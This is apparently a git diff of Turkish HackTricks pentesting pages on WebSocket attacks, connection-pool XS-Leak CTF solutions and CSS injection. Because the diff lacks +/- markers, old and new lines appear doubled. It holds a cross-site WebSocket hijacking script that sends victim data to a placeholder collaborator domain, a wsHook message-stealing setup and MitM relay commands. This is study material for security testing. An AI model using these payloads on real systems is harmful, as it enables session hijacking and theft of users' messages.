WebSocket bağlantılarının ayrıntılı bir açıklamasına [**buradan**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) erişilebilir. Özet olarak, WebSocket bağlantıları genellikle aşağıdaki gibi istemci tarafı JavaScript kullanılarak başlatılır:
WebSocket bağlantılarının kurulumu hakkında ayrıntılı bir açıklama [**buradan**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) erişilebilir. Özetle, WebSocket bağlantıları genellikle aşağıda gösterildiği gibi istemci tarafı JavaScript aracılığıyla başlatılır:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
`wss` protokolü, **TLS** ile güvence altına alınmış bir WebSocket bağlantısını ifade ederken, `ws` güvencesiz bir bağlantıyı gösterir.
`wss` protokolü, **TLS** ile güvence altına alınmış bir WebSocket bağlantısını belirtirken, `ws` **güvensiz** bir bağlantıyı gösterir.
Bağlantı kurulması sırasında tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesini içerir. Aşağıdaki örneklerde gösterildiği gibi:
Bağlantı kurulumu sırasında, tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma (handshake) gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesi ile ilgilidir; aşağıdaki örneklerde gösterildiği gibi:
Tarayıcı bir el sıkışma isteği gönderir:
```javascript
@ -38,28 +39,28 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Sunucunun el sıkışma yanıtı:
Sunucu el sıkışma yanıtı:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Bağlantı bir kez kurulduğunda, mesaj alışverişi için bağlantı her iki yönde deık kalır.
Bağlantı kurulduktan sonra, her iki yönde mesaj alışverişi içinık kalır.
**WebSocket El Sıkışmasının Ana Noktaları:**
**WebSocket El Sıkışma Anahtar Noktaları:**
- `Connection` ve `Upgrade` başlıkları, WebSocket el sıkışmasının başlatıldığını belirtir.
- `Sec-WebSocket-Version` başlığı istenen WebSocket protokol sürümünü belirtir, genellikle `13`'tür.
- Base64 ile kodlanmış rastgele bir değer, `Sec-WebSocket-Key` başlığında gönderilir ve her el sıkışmanın benzersiz olmasını sağlar, bu da önbellekleyen proxy'lerle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanlış yapılandırılmış bir sunucu veya önbellek tarafından oluşturulan yanıtın doğruluğunu onaylamak içindir.
- Sunucunun yanıtındaki `Sec-WebSocket-Accept` başlığı, `Sec-WebSocket-Key`'in bir karmasıdır ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
- `Connection` ve `Upgrade` başlıkları, bir WebSocket el sıkışmasının başlatıldığını belirtir.
- `Sec-WebSocket-Version` başlığı, genellikle `13` olan istenen WebSocket protokol sürümünü gösterir.
- `Sec-WebSocket-Key` başlığında, her el sıkışmanın benzersiz olmasını sağlayan, Base64 ile kodlanmış rastgele bir değer gönderilir; bu, önbellek proxy'leri ile ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanıtın yanlış yapılandırılmış bir sunucu veya önbellek tarafından üretilmediğini doğrulamak içindir.
- Sunucunun yanıtındaki `Sec-WebSocket-Accept` başlığı, `Sec-WebSocket-Key`'in bir hash'idir ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar, böylece etkili gerçek zamanlı iletişim sağlanır.
Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar, verimli gerçek zamanlı iletişim için zemin hazırlar.
### Linux konsolu
`websocat` kullanarak bir websocket ile doğrudan bir bağlantı kurabilirsiniz.
Bir websocket ile ham bir bağlantı kurmak için `websocat` kullanabilirsiniz.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
@ -69,39 +70,39 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket bağlantıları
Eğer mevcut yerel ağınızdan istemcilerin bir **HTTP websocket**'e bağlı olduğunu tespit ederseniz, istemci ve sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Saldırısı](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) deneyebilirsiniz.\
İstemci bağlantı kurmaya çalıştığında, aşağıdaki komutu kullanabilirsiniz:
Eğer istemcilerin mevcut yerel ağınızdan bir **HTTP websocket**'e bağlı olduğunu bulursanız, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) denemek isteyebilirsiniz.\
İstemci bağlanmaya çalıştığında, o zaman şunu kullanabilirsiniz:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websocket numaralandırma
### Websockets enumeration
Websocket'leri otomatik olarak keşfetmek, parmak izi almak ve bilinen zayıflıkları aramak için **https://github.com/PalindromeLabs/STEWS** **araç**ını kullanabilirsiniz.
**Websocket'lerde bilinen** **güvenlik açıklarını** **keşfetmek, parmak izi çıkarmak ve aramak için** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **aracını kullanabilirsiniz.**
### Websocket Hata Ayıklama Araçları
### Websocket Debug tools
* **Burp Suite**, düzenli HTTP iletişimi için yaptığı gibi MitM websocket iletişimini destekler.
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, Burp'ta Websocket iletişimini daha iyi yönetmenizi sağlar. **Geçmişi** almak, **interception kuralları** belirlemek, **eşleştirme ve değiştirme** kuralları kullanmak, **Intruder** ve **AutoRepeater** kullanmak için kullanılabilir.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" kısaltması olan bu Node.js yazılımı, istemci ve sunucu arasındaki tüm WebSocket ve Socket.IO iletişimini **yakalamak**, **intercept etmek**, **özel mesajlar göndermek** ve görüntülemek için bir kullanıcı arayüzü sağlar.
* [**wsrepl**](https://github.com/doyensec/wsrepl), özellikle penetrasyon testi için tasarlanmış **etkileşimli bir websocket REPL**'dir. Gelen websocket mesajlarını gözlemlemek ve yeni mesajlar göndermek için bir arayüz sağlar ve bu iletişimi **otomatikleştirmek** için kolay kullanımlı bir çerçeve sunar.
* [**https://websocketking.com/**](https://websocketking.com/), **websockets** kullanarak diğer web siteleriyle iletişim kurmak için bir **web** sağlar.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket), diğer iletişim/protokol türlerinin yanı sıra **websockets** kullanarak diğer web siteleriyle iletişim kurmanızı sağlar.
* **Burp Suite**, normal HTTP iletişimi için yaptığına çok benzer bir şekilde MitM websockets iletişimini destekler.
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, **geçmişi** alma, **yakalama kuralları** ayarlama, **eşleşme ve değiştirme** kuralları kullanma, **Intruder** ve **AutoRepeater** kullanarak Burp'ta Websocket iletişimlerini daha iyi yönetmenizi sağlar.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" kısaltması olan bu araç, Node.js ile yazılmıştır ve istemci ile sunucu arasındaki tüm WebSocket ve Socket.IO iletişimlerini **yakalamak, kesmek, özel** mesajlar göndermek ve görüntülemek için bir kullanıcı arayüzü sağlar.
* [**wsrepl**](https://github.com/doyensec/wsrepl), özellikle penetrasyon testi için tasarlanmış bir **etkileşimli websocket REPL**'dir. **Gelen websocket mesajlarını gözlemlemek ve yenilerini göndermek** için bir arayüz sağlar ve bu iletişimi **otomatikleştirmek** için kullanımı kolay bir çerçeve sunar.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web**'dir.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) diğer iletişim/protokol türlerinin yanı sıra, diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web** sağlar.
## Websocket Laboratuvarı
## Websocket Lab
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) içinde, websockets kullanarak bir web sitesi başlatmak için bir kod bulunur ve [**bu yazıda**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) açıklama bulabilirsiniz.
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) içinde websockets kullanarak bir web başlatmak için bir kod bulabilirsiniz ve [**bu yazıda**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) birıklama bulabilirsiniz.
## Cross-site WebSocket kaçırma (CSWSH)
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket kaçırma**, WebSocket el sıkışmalarını etkileyen **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin belirli bir durumu olarak tanımlanır. Bu zayıflık, WebSocket el sıkışmalarının yalnızca **HTTP çerezleri** aracılığıyla kimlik doğrulaması yapması durumunda ortaya çıkar ve CSRF tokenları veya benzeri güvenlik önlemleri kullanılmaz.
**Cross-site WebSocket hijacking**, ayrıca **cross-origin WebSocket hijacking** olarak da bilinir, WebSocket el sıkışmalarını etkileyen **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin özel bir durumu olarak tanımlanır. Bu güvenlik açığı, WebSocket el sıkışmalarının yalnızca **HTTP çerezleri** aracılığıyla **CSRF token'ları** veya benzeri güvenlik önlemleri olmadan kimlik doğrulaması yaptığı durumlarda ortaya çıkar.
Saldırganlar, zayıf bir uygulamaya karşı bir çapraz site WebSocket bağlantısı başlatan **kötü niyetli bir web sayfası** barındırarak bunu sömürebilir. Sonuç olarak, bu bağlantı, oturum işleme mekanizmasındaki CSRF korumasının eksikliğini sömürerek, bağlantının kurbanın oturumuyla birlikte işlenmesi olarak kabul edilir.
Saldırganlar, savunmasız bir uygulamaya çapraz alan WebSocket bağlantısı başlatan **kötü niyetli bir web sayfası** barındırarak bunu istismar edebilir. Sonuç olarak, bu bağlantı, uygulama ile kurbanın oturumunun bir parçası olarak kabul edilir ve oturum yönetim mekanizmasındaki CSRF korumasının eksikliğinden yararlanır.
### Basit Saldırı
### Simple Attack
Unutmayın ki **websocket** bağlantısı **kurulduğunda**, **çerez** sunucuya **gönderilir**. **Sunucu**, gönderilen çerezlere dayanarak her **belirli kullanıcıyı websocket oturumuyla ilişkilendirebilir**.
**Websocket** bağlantısı **kurulduğunda** **çerez** sunucuya **gönderilir**. **Sunucu**, her **belirli** **kullanıcıyı gönderilen çerez temelinde** **websocket** **oturumu** ile **ilişkilendirmek** için bunu kullanıyor olabilir.
Örneğin, eğer **websocket** **sunucusu**, "**READY**" iletilmesi durumunda bir kullanıcının konuşma geçmişini geri gönderiyorsa, **basit bir XSS** bağlantı kurarak (çerez, kurban kullanıcıyı yetkilendirmek için **otomatik olarak gönderilecektir**) "**READY**" göndermek, konuşma geçmişini alabilir.
Daha sonra, **örneğin** **websocket** **sunucusu**, bir mesaj "**READY"** gönderildiğinde bir kullanıcının **konuşma geçmişini** geri gönderirse, o zaman bağlantıyı kuran **basit bir XSS** (çerez **otomatik olarak** kurban kullanıcısını yetkilendirmek için **gönderilecektir**) **"READY"** göndererek **konuşma** **geçmişini** **geri alabilecektir**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -116,13 +117,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Farklı bir alt alan adıyla Cross Origin + Cookie
### Cross Origin + Cookie with a different subdomain
Bu blog yazısında [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), saldırgan web soket iletişiminin gerçekleştiği alan adının **alt alan adında keyfi JavaScript kodu çalıştırmayı** başardı. **Alt alan adı** olduğu için **çerez** gönderiliyordu ve **Websocket Origin'i doğru şekilde kontrol etmediği** için onunla iletişim kurarak **onun içinden token çalmak** mümkün oldu.
Bu blog yazısında [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) saldırgan, web socket iletişiminin gerçekleştiği alanın **alt alanında rastgele Javascript çalıştırmayı** başardı. Çünkü bu bir **alt alan** idi, **cookie** **gönderiliyordu** ve çünkü **Websocket Origin'i düzgün kontrol etmediği için**, onunla iletişim kurmak ve **ondan token çalmak** mümkün oldu.
### Kullanıcıdan veri çalmak
### Stealing data from user
Taklit etmek istediğiniz web uygulamasını (örneğin .html dosyalarını) kopyalayın ve web soket iletişiminin gerçekleştiği betik içine aşağıdaki kodu ekleyin:
Taklit etmek istediğiniz web uygulamasını kopyalayın (örneğin .html dosyaları) ve websocket iletişiminin gerçekleştiği scriptin içine bu kodu ekleyin:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
@ -143,21 +144,21 @@ return messageEvent;
}
```
Şimdi `wsHook.js` dosyasını [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) adresinden indirin ve **web dosyalarının bulunduğu klasöre kaydedin**.\
Web uygulamasınıığa çıkararak ve bir kullanıcının buna bağlanmasını sağlayarak, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
Web uygulamasınıarak bir kullanıcının buna bağlanmasını sağlarsanız, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
```javascript
sudo python3 -m http.server 80
```
## Yarış Koşulları
WebSockets'te Yarış Koşulları da önemlidir, [daha fazla bilgi için bu bilgilere bakın](race-condition.md#rc-in-websockets).
WebSocket'lerde de Yarış Koşulları vardır, [daha fazla bilgi için burayı kontrol edin](race-condition.md#rc-in-websockets).
## Diğer zayıflıklar
## Diğer zafiyetler
WebSockets, verileri sunucu tarafına ve istemci tarafına göndermek için bir mekanizma olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, WebSockets, bir kullanıcının bir web soketinden giriş kullanarak XSS, SQLi veya diğer yaygın web zafiyetlerini sömürmek için kullanılabilir.
Web Sockets, **verileri sunucu tarafına ve istemci tarafına göndermek için bir mekanizma** olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, **Web Sockets, bir websocket üzerinden bir kullanıcının girişi ile XSS, SQLi veya diğer yaygın web zafiyetlerini istismar etmek için kullanılabilir.**
## **WebSocket Smuggling**
## **WebSocket Kaçırma**
Bu zayıflık, ters proxy kısıtlamalarını **atlamak** için bir **web soketi iletişimi kurulmuş gibi** yaparak onlara inandırmanıza izin verebilir (gerçek olmasa bile). Bu, bir saldırganın **gizli uç noktalara erişmesine** olanak tanır. Daha fazla bilgi için aşağıdaki sayfaya bakın:
Bu zafiyet, **ters proxy kısıtlamalarını aşmanıza** olanak tanıyabilir ve onlara **bir websocket iletişiminin kurulduğunu** düşündürebilir (gerçek olmasa bile). Bu, bir saldırganın **gizli uç noktalara erişmesine** olanak tanıyabilir. Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
@ -167,16 +168,17 @@ Bu zayıflık, ters proxy kısıtlamalarını **atlamak** için bir **web soketi
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github reposuna PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# Bağlantı Havuzu Örnekleri
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Sekaictf2022 - safelist
## Sekaictf2022 - beyaz liste
[**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) meydan okumasında [**@Strellic\_**](https://twitter.com/Strellic\_) bir **Bağlantı Havuzu** tekniğinin bir **varyasyonunu** kullanarak bir **XS-Leak** gerçekleştirmenin bir örneğini veriyor.
[**Sekaictf2022 - beyaz liste**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) yarışmasında, [**@Strellic\_**](https://twitter.com/Strellic\_) bir **XS-Leak** gerçekleştirmek için **Connection Pool** tekniğinin bir **varyasyonunu** nasıl kullanacağını gösteren bir örnek veriyor.
Bu meydan okumada, hedef, baytın bir post içinde görüneceği bot web oturumundan bir bayrağı çalmaktır. Saldırganın sahip olduğu varlıklar şunlardır:
Bu yarışmada, amaç, botların web oturumunda bir post içinde görünecek bir bayrağı dışarıya çıkarmaktır. Saldırganın sahip olduğu varlıklar şunlardır:
* **Bot**, saldırgan tarafından verilen bir **URL'yi ziyaret edecek**
* Saldırgan, bir **CSRF**'yi istismar ederek sayfaya **HTML enjekte** edebilir (ancak JS değil, dompurify kullanılır) ve botun bu HTML ile bir post oluşturmasını sağlayabilir.
* Saldırgan, bir **CSRF**'yi istismar ederek **botun** web içindeki **ilk postu silmesini** sağlayabilir.
* **Postlar** alfabetik olarak sıralandığından, **ilk post silindiğinde**, saldırganın HTML içeriğinin **bayraktan önce alfabetik olarak yüklendiği** anlamına gelir.
* **bot**, saldırgan tarafından verilen bir **URL'yi** **ziyaret edecek**.
* Saldırgan, sayfaya **HTML** **enjekte edebilir** (ancak JS yok, dompurify kullanılıyor) bir **CSRF** istismar ederek **botun o HTML ile bir post oluşturmasını** sağlıyor.
* Saldırgan, **botun** webdeki **ilk** **postu** **silmesini** sağlamak için bir CSRF'yi istismar edebilir.
* **Postlar** **alfabetik** olarak sıralandığı için, **ilk post silindiğinde**, eğer saldırganın **HTML** içeriği **yüklenirse**, bu, **bayraktan önce alfabetik olarak** geldiği anlamına gelir.
Bu nedenle, bayrağı çalmak için @Strellyc\_ tarafından önerilen çözüm, **her test edilecek karakter için** botun aşağıdaki işlemleri yapmasını sağlamaktır:
Bu nedenle, bayrağı çalmak için @Strellyc\_ tarafından önerilen çözüm, **test edilecek her karakter için** botu:
* Bilinen bayrağın **bilinen kısmıyla başlayan** ve birkaç **img yüklemesi** içeren bir **yeni post oluşturun**.
* **0. konumdaki postu silin**.
* 255 soketi engelleyin.
* Postları içeren sayfayı yükleyin.
* Bir siteye (bu durumda example.com) 5 rastgele istek yapın ve bu işlemin ne kadar süreceğini ölçün.
* Bilinen **bayrak** kısmıyla **başlayan** bir **yeni post** oluşturması için yönlendirmek ve birkaç **img** **yüklemesi**.
* **0** konumundaki **postu** **silmesi**.
* 255 soketi engellemesi.
* Postlarla sayfayı yüklemesi.
* Bir siteye (bu durumda example.com) 5 rastgele istek yapması ve bunun ne kadar sürdüğünü ölçmesi.
{% hint style="warning" %}
Eğer **silinen** post **bayrak** ise, bu demektir ki HTML'ye enjekte edilen **tüm img'ler**, **5 rastgele istekle** o soket için **mücadele edecek**. Bu da ölçülen sürenin diğer senaryodan daha büyük olacağı anlamına gelir.
Eğer **silinen** post **bayrak** ise, bu, HTML'ye **enjekte edilen** tüm **görüntülerin** o **engellenmemiş** soket için **5 rastgele istekle** **mücadele edeceği** anlamına gelir. Bu, ölçülen sürenin diğer senaryodan daha büyük olacağı anlamına gelir.
Eğer **silinen** post **HTML** ise, **5 rastgele istek** HTML enjekte etmek için o soketle **mücadele etmeyeceği** için daha **hızlı** olacaktır.
Eğer **silinen** post **HTML** ise, **5 rastgele istek** daha **hızlı** olacaktır çünkü HTML ile o soket için mücadele etmeleri gerekmiyor.
{% endhint %}
### Exploit 1
Bu, [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html) adresinden alınan saldırı kodudur:
Bu, [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html) adresinden alınan exploit kodudur:
```html
<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
@ -170,9 +171,9 @@ pwn();
};
</script>
```
### Sızma 2
### Exploit 2
Aynı taktik, ancak [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/) adresindeki farklı bir kod.
Aynı taktik ama [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/) adresinden farklı kod.
```html
<!DOCTYPE html>
<html>
@ -294,17 +295,17 @@ resolve(isFound)
</html>
```
## DiceCTF 2022 - havuç
## DiceCTF 2022 - carrot
Bu durumda, saldırının ilk adımı, bayrağın bulunduğu sayfayı değiştirmek için CSRF'yi istismar etmekti, böylece sayfa **daha fazla içerik** içeriyordu (ve dolayısıyla yüklenmesi daha uzun sürüyordu), ardından **bağlantı havuzunu istismar ederek sayfaya erişmek için geçen süreyi ölçmek**.
Bu durumda, istismarın ilk adımı, bayrağın bulunduğu sayfayı değiştirmek için bir CSRF'yi kötüye kullanmaktı, böylece **çok daha fazla içerik** (ve dolayısıyla yüklenmesi daha fazla zaman alır) içermekteydi ve ardından **bayrağı potansiyel olarak içerebilecek sayfaya erişmenin ne kadar zaman aldığını ölçmek için bağlantı havuzunu kötüye kullanmak**.
Saldırıda şunları görebilirsiniz:
İstismarda şunları görebilirsiniz:
* CSRF'yi istismar etmek
* 1 hariç tüm soketleri işgal etmek
* Yanıtı kalibre etmek
* Bayrak olabilecek potansiyel sayfaya erişerek brute force yapmaya başlamak
* Potansiyel sayfa erişilecek ve hemen ardından saldırganın kontrol ettiği bir URL'ye erişilecek ve her iki isteğin ne kadar sürede gerçekleştiği kontrol edilecek.
* CSRF'yi kötüye kullan
* 1 hariç tüm soketleri kapla
* Yanıtı kalibre et
* Bayrağı potansiyel olarak içeren sayfaya erişerek brute force işlemine başla
* Potansiyel sayfaya erişilecek ve hemen ardından bir saldırganın kontrolündeki URL'ye de erişilecek, böylece her iki isteğin ne kadar zaman aldığını kontrol edilecektir.
```html
<h1>DiceCTF 2022 web/carrot</h1>
@ -506,16 +507,17 @@ exploit('dice{')
}
</script>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# CSS Enjeksiyonu
# CSS Injection
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
